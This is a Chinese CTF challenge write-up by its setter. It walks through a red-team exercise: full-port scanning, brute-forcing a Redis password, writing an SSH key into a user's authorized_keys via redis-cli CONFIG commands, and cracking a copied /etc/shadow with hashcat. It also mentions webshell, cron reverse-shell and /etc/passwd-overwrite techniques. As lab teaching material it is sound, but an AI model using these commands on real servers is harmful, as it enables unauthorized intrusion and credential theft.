专栏首页信安之路信安之路挑战赛红蓝对抗题目全解析

信安之路挑战赛红蓝对抗题目全解析

本文作者:Umask(信安之路作者团队成员 / 红蓝对抗题目出题人) 原本红蓝对抗的题目是由红蓝对抗小组的组长来出的,他工作项目比较急没时间,就有作者团队的另外一个小伙伴代替完成题目,并在比赛过程中做一下安全运维,根据攻击情况来做调整。 原创 信安之路红蓝对抗小组招募志同道合的朋友

首先,题目其实设置不是太难,主要是坑有点多,而且需要一定的时间才能完成。因为要本着贴近实战的原则出题,所以在做题的时候,很多人还是带着做传统 CTF 题目的思路来,所以有一些坑就让这部分人钻了牛角尖,出不来。

不要只关注 web,渗透不只有 web 一条路

在搞定 web 前端那个题目之后,会得到一个 key,将这个 key 提交到信安之路公众号后台之后会得到红蓝对抗这个题目的提示,也就是入口地址,拿到 url 之后,我们首先会习惯性的浏览器访问,结果发现有一个网站,网页内容存在二维码福利照片

这里是坑点 1, ctf 做习惯的人有图片以为是隐写术, 有网站以为是考 web 漏洞,后台发现一堆人进行目录扫描。 其实放网站无非是干扰的信息而已,让大家消磨点时间。

其实这次题目设置偏向真实实战类型,所有在真实的渗透测试中,获取到一个 url 或 IP,都应该要先从端口服务开始入手,网站(web)其实只是端口服务中的一个,大家眼中不要只有 web 服务,可能大家都是学 web 安全入门的,所以大家上来就搞 web,应该在搞之前了解一个服务器的基本情况,就是要知道他都开了哪些端口,是干什么用的,所以最好对该服务器做一次全端口扫描,从开放的端口上可以大概看出这个服务器到底是做什么用的,然后对症下药。

后来为了帮大家纠正方向,网站页面进行了提示:key > 1433 + 1521 + 3306

明眼人大家都知道分别为不同的数据库端口,1433(sql server)、 1521(oracle) 、3306(mysql)

提示大家 key 值就藏在比上述三个端口加起来还大的端口上。

寻找突破口

这一关的突破口其实在 redis 这个数据库服务上(端口 6379),首先需要进行 nmap 的端口扫描,才能发现靶机存在的这个端口,这里隐藏坑点 2,正常的 nmap 端口扫描是发现不了的,因为 6379 端口为非常见端口,所以我们需要进行一个全端口的发现。

nmap -p- -sV honglanduikburongyiya.xazlsec.com

大家要有这样的思路,靶机不可能无缘无故的开放某个服务端口,开放的服务端口就是你的突破口。

我这次考的就是 redis 服务,大家平常学习的都是未授权的访问,也就是无密码,这次增加点难度,设置了 top100密码, 大家可以依靠py脚本、工具等方式来爆破。

得到密码后,我们就可以连接上去了。

redis-cli -h honglanduikburongyiya.xazlsec.com -a 1q2w3e4r

现在常规 redis 漏洞利用方式中存在以下几种: 写入 ssh key 、写 webshell、反弹 shell、写 /etc/passwd 具体详情访问:

http://www.freebuf.com/vuls/148758.html

(1)常见写入 ssh key 均为写到 root 目录下的 ssh:

192.168.56.101:6379> CONFIG SETdir /root/.ssh/

但是为了避免大家拿到 root 的权限,我把 .ssh 目录删除了。所以会报错,没有此目录。

(error) ERR Changing directory: Nosuch file or directory

(2)写 webshell,我并未装 php 环境,所以大家的 webshell,就算写入到 /var/www/html/ 底下也是无法执行。

(3)反弹 shell,这种手法是依靠 linux 的定时任务 crontab,但是我把 cron 服务关停了,所以就算写入了定时计划,服务关停也不会触发。

(4)写入 /etc/passwd,具体手法原理,见上述引用文章,这个是我没控制住的,写入 /etc/passwd 需要 root 权限,但是我部署环境的时候忘记以普通用户身份权限启动,导致有同学依靠写入 /etc/passwd 的方式得到了 root 权限。

直捣黄龙

这次的考点是写入 ssh key ,但是是写入到普通用户底下,想看看大家在 root 目录下无法写入的时候是否懂得变通,大家眼里不要只有 root 账户。本次创建了以下 4 个常见用户名,key、admin、guest、test,随便写入其中某个用户即可。

root@bogon:~/.ssh$ ssh-keygen–t rsa  
root@bogon:~/.ssh$ (echo -e"\n\n"; catid_rsa.pub; echo-e"\n\n") > foo.txt  
root@bogon:~/.ssh$ catfoo.txt | redis-cli -h66.42.84.155 -xsetcrackit  
root@bogon:~/.ssh$ redis-cli-h66.42.84.155 -a1q2w3e4r
66.42.84.155:6379> CONFIG setdir /home/test/.ssh/
66.42.84.155:6379> config setdbfilename "authorized_keys" 
66.42.84.155:6379>save![](https://i.imgur.com/Yfmsf5P.png)  

接着即可拿着私钥进行无密钥登陆

root@bogon:~/.ssh# ssh -i id_rsa test@66.42.84.155

拿到权限登陆后,即可登陆寻找 Key 值。这里考验大家寻找线索能力。

我在 /tmp/ 目录下遗留了 history 文件。

该文件中存在几个 tips。

(1)key 的明文密码就是下一关通关密文

有的同学把上面的 key 明文密码误认为 P@ssword123, 但是设置密码非这命令,误导大家而已。

(2)存在的 2 个关键信息,我 wget 一个地址和我备份了一个 /etc/shadow 文件。

我们访问一下,那个 url 看看,是个高频字典的下载页面

而那个 shadow.bak 的文件我们可以读。按照最初的 tips 就是获取 key 的密文密码,那么字典、hash 密文有了剩下的就是爆破了。

我们可以使用 hashcat 工具来爆破,当然也可以选择其他工具

至此,我们成功获得了 Key 的明文密码:1314woaini1314

小插曲

由于所有人攻击的是一套系统,所以每个人都操作了啥不得而知,一个人把系统搞坏,就会导致所有人都不能玩,在实际的环境中渗透,不能破坏计算机的正常使用是第一原则,所以好的渗透师是不会让系统出问题的,你如果让系统出了故障,那么你之前的努力就白费了,因为管理员知道了你的入侵行为,把你清理出去,或者服务器下线,对你来说都是一个沉重的打击,所以更贴近实战的比赛就是大家玩一台机子,而不会让服务器出问题。

由于不知道做了什么操作,导致普通用户不能通过 ssh key 认证登录系统,所以为了让大家正常参加比赛,所以临时安装了 php 的运行环境,大家可以在 web 目录下写 webshell 来继续接下来的比赛,所以大家在做渗透的时候,一定要记住不要让你渗透的设备出问题,否则,你将后悔莫及。

总结

整体题目不难,关键在于坑点较多些,需要足够的耐心来处理和寻找线索。

其实就是在 redis 未授权的访问基础上进行变化,主要考验大家在非常规的渗透测试中的应变能力。

比较渗透测试的工作不是一层不变的,大家要懂得灵活运用。

本文分享自微信公众号 - 信安之路(xazlsec),作者:Umask

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-09-25

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 信息安全基础

    确保授权的用户对数据和资源进行及时和可靠的访问。 网络由众多长时间不间断运行的硬件设备和软件组成,硬件设备像路由器、交换机、DNS服务器、DHCP服务器、代理和...

    信安之路
  • Linux 提权的各种姿势总结

    这篇讲一些关于 Linux 提权的方法,也是参考网上的一些提权方式,对于刚接触 Linux 提权的伙伴来说,需要花不少时间去理解,所以这里是以个人通俗易懂的思路...

    信安之路
  • 审计SEMCMSv2.7之捡来的两个洞加漏洞复现

    在 SEMCMS php v2.7 审计之前,我会去看看要审计的CMS官网是否存在手册说明什么的,然后去会各个漏洞公布平台找找它以前的老漏洞,复现下是否修复及修...

    信安之路
  • Python 中文去标点

    老师让把每一次写东西遇到的问题都记录下来,个人觉得很有用,就以此为第一篇博文吧⁄(⁄ ⁄•⁄ω⁄•⁄ ⁄)⁄ 在写K-Means聚类时,对文本分词处理遇到去...

    py3study
  • 漫画:二叉树系列 第五讲(BST的删除)

    在两节中,我们了解了BST(二叉搜索树)的概念,并且知道了如何在BST中查找一个元素。那我们又如何在BST中去删除一个元素呢?我们将通过本节的例题进行学习!

    程序员小浩
  • 第39期:小白一看就会的 BST 删除!

    在两节中,我们了解了BST(二叉搜索树)的概念,并且知道了如何在BST中查找一个元素。那我们又如何在BST中去删除一个元素呢?我们将通过本节的例题进行学习! 下...

    程序员小浩
  • R语言复杂热图的绘制

    大家对热图应该都不陌生,但是混合的复杂热图在我们的应用中并不是太多见。今天给大家介绍一个绘制复杂热图的R包ComplexHeatmap。

    一粒沙
  • golang-ssh-01:执行远程命令

    远程执行命令有什么用?为什么要远程执行命令? 如果您只有2,3台服务器需要管理的时候,远程执行命令确实没有没多大作用,您可以登录到每台服务器上去完成各种操作。 ...

    mojocn
  • 【关关的刷题日记59】Leetcode 257 Binary Tree Paths

    关关的刷题日记59 – Leetcode 257 Binary Tree Paths 题目 ? 题目要求我们给出所有根节点到叶子节点的路径。 思路 思路:求一棵...

    WZEARW
  • 为ssh加个证书

    然后将私钥id_rsa文件copy到windows里,把内容copy到一个新的文本文件里。

    用户3765803

扫码关注云+社区

领取腾讯云代金券